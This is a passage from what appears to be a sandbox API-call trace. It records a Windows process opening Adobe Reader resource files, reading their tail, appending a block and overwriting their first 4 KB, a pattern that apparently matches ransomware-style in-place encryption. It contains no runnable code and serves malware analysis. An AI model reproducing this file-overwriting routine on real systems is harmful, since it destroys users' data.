lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0041.966] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ko_KR.txt", cchWideChar=30, lpMultiByteStr=0x1e7fd2c, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.ko_KR.txt", lpUsedDefaultChar=0x0) returned 30 [0041.966] ReadFile (in: hFile=0x198, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0041.968] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x526a [0041.968] ReadFile (in: hFile=0x198, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0041.969] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x526a [0041.969] WriteFile (in: hFile=0x198, lpBuffer=0x2766028*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2766028*, lpNumberOfBytesWritten=0x2b0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0041.969] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f2bc*=0) returned 0x0 [0041.969] WriteFile (in: hFile=0x198, lpBuffer=0x1df1c78*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesWritten=0x2b0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0041.969] CloseHandle (hObject=0x198) returned 1 [0041.969] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.nl_NL.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.nl_nl.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0041.970] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0041.970] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x6dc6 [0041.970] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0041.970] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0041.970] ReleaseMutex (hMutex=0x128) returned 1 [0041.970] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.nl_NL.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0041.971] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.nl_NL.txt", cchWideChar=30, lpMultiByteStr=0x1e7fd2c, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.nl_NL.txt", lpUsedDefaultChar=0x0) returned 30 [0041.971] ReadFile (in: hFile=0x198, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0041.972] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x5dc6 [0041.972] ReadFile (in: hFile=0x198, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0041.973] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x5dc6 [0041.973] WriteFile (in: hFile=0x198, lpBuffer=0x2766028*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2766028*, lpNumberOfBytesWritten=0x2b0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0041.973] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f2bc*=0) returned 0x0 [0041.973] WriteFile (in: hFile=0x198, lpBuffer=0x1df1c78*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesWritten=0x2b0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0041.973] CloseHandle (hObject=0x198) returned 1 [0041.973] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ru.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ru.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0042.378] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0042.378] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x7498 [0042.378] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0042.378] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0042.381] ReleaseMutex (hMutex=0x128) returned 1 [0042.384] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ru.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0042.384] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ru.txt", cchWideChar=27, lpMultiByteStr=0x1e7fd2c, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.ru.txt", lpUsedDefaultChar=0x0) returned 27 [0042.385] ReadFile (in: hFile=0x198, lpBuffer=0x25c6e08, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x25c6e08*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0042.399] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x6498 [0042.399] ReadFile (in: hFile=0x198, lpBuffer=0x1d80018, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0042.400] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x6498 [0042.400] WriteFile (in: hFile=0x198, lpBuffer=0x2732c08*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2732c08*, lpNumberOfBytesWritten=0x2b0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0042.400] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f2bc*=0) returned 0x0 [0042.400] WriteFile (in: hFile=0x198, lpBuffer=0x1d80018*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesWritten=0x2b0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0042.400] CloseHandle (hObject=0x198) returned 1 [0042.401] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.tr.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.tr.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0042.401] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0042.401] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x7288 [0042.401] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0042.401] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0042.401] ReleaseMutex (hMutex=0x128) returned 1 [0042.401] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.tr.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0042.401] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.tr.txt", cchWideChar=27, lpMultiByteStr=0x1e7fd2c, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.tr.txt", lpUsedDefaultChar=0x0) returned 27 [0042.401] ReadFile (in: hFile=0x198, lpBuffer=0x1d80018, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0042.403] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x6288 [0042.403] ReadFile (in: hFile=0x198, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0042.406] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x6288 [0042.406] WriteFile (in: hFile=0x198, lpBuffer=0x2732c08*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2732c08*, lpNumberOfBytesWritten=0x2b0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0042.406] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f2bc*=0) returned 0x0 [0042.406] WriteFile (in: hFile=0x198, lpBuffer=0x1df1c78*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesWritten=0x2b0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0042.406] CloseHandle (hObject=0x198) returned 1 [0042.406] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\brt.fca" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\brt.fca"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0042.407] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0042.407] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x128c [0042.407] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0042.407] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0042.407] ReleaseMutex (hMutex=0x128) returned 1 [0042.407] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="brt.fca", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0042.407] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="brt.fca", cchWideChar=7, lpMultiByteStr=0x1e6a7a4, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brt.fca", lpUsedDefaultChar=0x0) returned 7 [0042.407] ReadFile (in: hFile=0x198, lpBuffer=0x2732c08, nNumberOfBytesToRead=0x128c, lpNumberOfBytesRead=0x2b0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2732c08*, lpNumberOfBytesRead=0x2b0f2bc*=0x128c, lpOverlapped=0x0) returned 1 [0042.411] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f300*=0) returned 0x0 [0042.411] WriteFile (in: hFile=0x198, lpBuffer=0x2732c08*, nNumberOfBytesToWrite=0x1814, lpNumberOfBytesWritten=0x2b0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x2732c08*, lpNumberOfBytesWritten=0x2b0f2d0*=0x1814, lpOverlapped=0x0) returned 1 [0042.411] CloseHandle (hObject=0x198) returned 1 [0042.412] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\bul120.lex" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\bul120.lex"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0042.412] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0042.412] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x72000 [0042.412] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0042.412] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0042.412] ReleaseMutex (hMutex=0x128) returned 1 [0042.412] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bul120.lex", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0042.412] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bul120.lex", cchWideChar=10, lpMultiByteStr=0x1e630cc, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bul120.lex", lpUsedDefaultChar=0x0) returned 10 [0042.412] ReadFile (in: hFile=0x198, lpBuffer=0x3a45df8, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x3a45df8*, lpNumberOfBytesRead=0x2b0f278*=0x8000, lpOverlapped=0x0) returned 1 [0042.416] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x71000 [0042.416] ReadFile (in: hFile=0x198, lpBuffer=0x1d80018, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0042.419] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x71000 [0042.420] WriteFile (in: hFile=0x198, lpBuffer=0x2732c08*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2732c08*, lpNumberOfBytesWritten=0x2b0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0042.420] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f2bc*=0) returned 0x0 [0042.420] WriteFile (in: hFile=0x198, lpBuffer=0x276a328*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesWritten=0x2b0f28c*=0x8000, lpOverlapped=0x0) returned 1 [0042.420] CloseHandle (hObject=0x198) returned 1 [0042.420] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\cfr32.clx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\cfr32.clx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0042.420] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0042.420] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x7ffe [0042.421] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0042.421] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0042.421] ReleaseMutex (hMutex=0x128) returned 1 [0042.421] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cfr32.clx", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0042.421] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cfr32.clx", cchWideChar=9, lpMultiByteStr=0x1e6320c, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cfr32.clx", lpUsedDefaultChar=0x0) returned 9 [0042.421] ReadFile (in: hFile=0x198, lpBuffer=0x1d80018, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0042.422] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x6ffe [0042.422] ReadFile (in: hFile=0x198, lpBuffer=0x1d80018, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0042.424] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x6ffe [0042.424] WriteFile (in: hFile=0x198, lpBuffer=0x2734c38*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2734c38*, lpNumberOfBytesWritten=0x2b0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0042.425] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f2bc*=0) returned 0x0 [0042.425] WriteFile (in: hFile=0x198, lpBuffer=0x1df1c78*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesWritten=0x2b0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0042.425] CloseHandle (hObject=0x198) returned 1 [0042.425] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\cze32.clx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\cze32.clx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0042.427] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0042.427] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x7fd1 [0042.428] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0042.428] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0042.428] ReleaseMutex (hMutex=0x128) returned 1 [0042.428] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cze32.clx", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0042.428] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cze32.clx", cchWideChar=9, lpMultiByteStr=0x1e6320c, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cze32.clx", lpUsedDefaultChar=0x0) returned 9 [0042.428] ReadFile (in: hFile=0x1ac, lpBuffer=0x1d80018, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0042.446] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x6fd1 [0042.446] ReadFile (in: hFile=0x1ac, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0042.447] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x6fd1 [0042.447] WriteFile (in: hFile=0x1ac, lpBuffer=0x2732c08*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2732c08*, lpNumberOfBytesWritten=0x2b0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0042.447] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f2bc*=0) returned 0x0 [0042.447] WriteFile (in: hFile=0x1ac, lpBuffer=0x1df1c78*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesWritten=0x2b0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0042.447] CloseHandle (hObject=0x1ac) returned 1 [0042.448] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\dut57.ths" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\dut57.ths"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0042.448] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0042.448] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0xc3c00 [0042.448] SetFilePointer (in: hFile=0x1ac, 